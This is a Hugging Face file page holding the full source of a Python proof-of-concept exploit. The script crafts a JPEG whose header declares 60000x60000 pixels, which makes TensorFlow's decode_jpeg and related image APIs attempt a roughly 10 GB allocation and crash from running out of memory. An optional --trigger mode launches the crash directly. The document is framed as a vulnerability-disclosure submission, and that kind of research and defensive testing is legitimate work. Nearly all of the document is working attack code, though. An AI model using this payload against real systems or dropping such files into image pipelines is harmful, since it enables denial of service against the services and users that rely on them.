Download poc_exploit.py from Rodion111/tf-jpeg-dos-poc: direct link, hf CLI and curl.
- Browser
- Download file 6.09 kB
-
https://huggingface.co/Rodion111/tf-jpeg-dos-poc/resolve/main/poc_exploit.py
- Command line
-
hf download hf://Rodion111/tf-jpeg-dos-poc/poc_exploit.py
-
curl -L -o poc_exploit.py https://huggingface.co/Rodion111/tf-jpeg-dos-poc/resolve/main/poc_exploit.py
6.09 kB
| #!/usr/bin/env python3 | |
| """ | |
| PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS) | |
| CVE: TBD | CWE-770 | CVSS 7.5 | |
| Vulnerability: | |
| tensorflow/core/kernels/image/decode_image_op.cc β DecodeJpegV2 reads | |
| height/width from the JPEG SOF header and allocates height*width*channels | |
| bytes WITHOUT any upper bound check. | |
| Compare with DecodeBmpV2 (SAME FILE) which checks: | |
| OP_REQUIRES(context, total_bytes < (1LL << 30), ...) | |
| JPEG is the MOST COMMON image format β every TF image pipeline is affected. | |
| Attack: | |
| Craft a JPEG with SOF0 declaring width=60000, height=60000. | |
| TF attempts to allocate 60000 * 60000 * 3 = ~10 GB. | |
| tf.io.decode_jpeg() on this file β OOM crash. | |
| Unlike GIF (companion finding), JPEG affects: | |
| - tf.io.decode_jpeg() | |
| - tf.io.decode_image() | |
| - tf.keras.preprocessing.image.load_img() | |
| - All tf.data image pipelines | |
| Usage: | |
| python3 poc_exploit.py # generates malicious.jpg | |
| python3 poc_exploit.py --trigger # also triggers crash via TF | |
| Author: security research (huntr.com submission) | |
| """ | |
| import sys | |
| import os | |
| import struct | |
| OUTPUT_FILE = 'malicious_huge.jpg' | |
| def create_malicious_jpeg(width: int = 60000, height: int = 60000, | |
| channels: int = 3) -> bytes: | |
| """ | |
| Craft a minimal JPEG file with SOF0 declaring extreme dimensions. | |
| JPEG structure used: | |
| SOI β APP0 (JFIF) β SOF0 (huge dimensions) β DHT β EOI | |
| libjpeg reads SOF0 and returns width/height to TensorFlow. | |
| TF then calls allocate_output(TensorShape({height, width, channels})) | |
| without checking the total size. | |
| """ | |
| # SOI β Start of Image | |
| data = b'\xFF\xD8' | |
| # APP0 β JFIF marker (makes it a "valid" JPEG) | |
| jfif = b'JFIF\x00' # identifier | |
| jfif += struct.pack('>BB', 1, 2) # version 1.2 | |
| jfif += b'\x00' # pixel aspect ratio (none) | |
| jfif += struct.pack('>HH', 1, 1) # pixel aspect ratio 1:1 | |
| jfif += b'\x00\x00' # no thumbnail | |
| data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif | |
| # SOF0 β Start of Frame (Baseline DCT) | |
| # This is where TF reads the dimensions | |
| # Format: length(2) | precision(1) | height(2) | width(2) | n_components(1) | |
| # [component_id(1) | sampling(1) | qt_id(1)] * n_components | |
| precision = 8 # bits per sample | |
| sof0_body = struct.pack('>B', precision) | |
| sof0_body += struct.pack('>H', height) # β HUGE HEIGHT | |
| sof0_body += struct.pack('>H', width) # β HUGE WIDTH | |
| sof0_body += struct.pack('>B', channels) | |
| for comp_id in range(1, channels + 1): | |
| sof0_body += struct.pack('>BBB', comp_id, 0x11, 0) # id, sampling, qt | |
| sof0_length = len(sof0_body) + 2 # +2 for length field itself | |
| data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body | |
| # DHT β Define Huffman Table (minimal, required for valid JPEG) | |
| # Minimal: DC table class=0, id=0, all zero counts | |
| dht_body = bytes([0x00]) # table class 0, id 0 | |
| dht_body += bytes([0] * 16) # zero counts for all lengths | |
| # No symbols needed for empty table | |
| data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body | |
| # DQT β Define Quantization Table (minimal) | |
| dqt_body = bytes([0x00]) # precision 0, table id 0 | |
| dqt_body += bytes([16] * 64) # 64 quantization values | |
| data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body | |
| # SOS β Start of Scan (triggers actual decode) | |
| sos_body = struct.pack('>B', channels) | |
| for comp_id in range(1, channels + 1): | |
| sos_body += struct.pack('>BB', comp_id, 0x00) # comp_id, dc/ac table | |
| sos_body += bytes([0, 63, 0]) # Ss, Se, Ah/Al (progressive params) | |
| data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body | |
| # Minimal scan data (all zeros β valid compressed data for empty image) | |
| data += b'\xFF\x00' * 4 # escaped 0xFF bytes in scan data | |
| data += b'\x00' * 8 # scan payload | |
| # EOI β End of Image | |
| data += b'\xFF\xD9' | |
| total_bytes_attempt = height * width * channels | |
| bmp_limit = 1 << 30 # 1,073,741,824 bytes | |
| print(f"[*] Crafted malicious JPEG:") | |
| print(f" Dimensions : {width:,} x {height:,} x {channels} (RGB)") | |
| print(f" Alloc attempt: {total_bytes_attempt:,} bytes = " | |
| f"{total_bytes_attempt / 1e9:.1f} GB") | |
| print(f" File size : {len(data)} bytes (minimal header)") | |
| print(f" BMP limit : {bmp_limit:,} bytes (2^30) β would BLOCK") | |
| print(f" PNG limit : {1<<29:,} bytes (2^29) β would BLOCK") | |
| print(f" JPEG limit : NONE β TF allocates {total_bytes_attempt/1e9:.1f} GB β CRASH") | |
| return data | |
| def main(): | |
| trigger = '--trigger' in sys.argv | |
| payload = create_malicious_jpeg() | |
| with open(OUTPUT_FILE, 'wb') as f: | |
| f.write(payload) | |
| print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)") | |
| if trigger: | |
| print(f"\n[*] Triggering via tf.io.decode_jpeg()...") | |
| try: | |
| import tensorflow as tf | |
| print(f" TensorFlow version: {tf.__version__}") | |
| jpeg_bytes = open(OUTPUT_FILE, 'rb').read() | |
| # Primary trigger | |
| result = tf.io.decode_jpeg(jpeg_bytes, channels=3) | |
| print(f"[-] Unexpected success: shape={result.shape}") | |
| except Exception as e: | |
| name = type(e).__name__ | |
| if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name: | |
| print(f"[+] CRASH CONFIRMED: {name}") | |
| print(f" TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor") | |
| else: | |
| print(f"[~] Exception: {name}: {e}") | |
| else: | |
| print(f"\n[i] Run with --trigger to demonstrate the crash:") | |
| print(f" python3 {sys.argv[0]} --trigger") | |
| print(f"\n Also works via:") | |
| print(f" >>> import tensorflow as tf") | |
| print(f" >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())") | |
| if __name__ == '__main__': | |
| main() | |